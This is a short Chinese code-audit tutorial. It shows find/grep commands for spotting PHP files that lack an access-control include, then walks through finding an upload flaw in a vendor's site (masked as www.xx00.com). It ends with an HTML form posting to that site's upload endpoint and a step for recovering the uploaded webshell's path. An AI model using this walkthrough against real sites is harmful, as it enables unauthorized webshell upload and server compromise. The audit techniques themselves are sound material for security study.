代码审计之文件越权和文件上传搜索技巧

0x01. 全局搜索查找越权技巧

在代码审计中,文件量很大的情况下查找可越权访问的文件(以PHP为例,开始没有引入global.php|common.php等类似的文件)是一件很头疼的事情,下面介绍在Linux环境下使用find命令快速查找可越权的文件:

//find命令
1.在etc下查找"*.log"文件
find /etc -name "*.log" 
2.在etc下查找所有包含"common.php"字符串的php文件
find /etc -name "*.php" | xargs grep "common.php"
find /etc -name "*.php" | xargs grep "common.php" > ./a.txt
3.在etc下查找没有包含"common.php"字符串的php文件
find /etc -name "*.php" | xargs grep -L "common.php"

其它常用的命令参考:http://sundful.iteye.com/blog/1730385

0x02. 全局搜索上传漏洞技巧

以某厂商www.xx00.com的源码为例

1.首先全局搜索type=”file”来判断有没有上传点(关键词”$_FILE”是查找上传文件逻辑处理的地方):

命令:

find /home/juicebox/Desktop/Code/aituan -name "*.php" | xargs grep "type=\"file\"" > a.txt

     

2.xx00也是用的php的框架,所以我们打开主页找mvc框架的影子:

http://www.xx00.com/at/gold_auction/auction_details/532

http://www.xx00.com/at/index/baoming

根据上面两条和下面源码结构,判断功能函数在/application/controller/at/目录下

http的请求功能函数时应该遵循domain/at/action/function/param格式

3.我们打开/application/views/at/phone_test/display.php,发现上传的action=”upload”


4.打开/application/controller/at/phone_test.php,找到upload函数,分析代码可知有上传漏洞


5.本地写一个上传的html文件:

<html>
<body>
<form action="http://www.xx00.com/at/phone_test/upload" method="post"
enctype="multipart/form-data">
<label for="file">Filename:</label>
<input type="file" name="file" id="file" /> 
<br/>
<input type="submit" name="submit" value="Submit" />
</form>
</body>
</html>

6.上传后看返回的img值,解码base64值即可获取webshell路径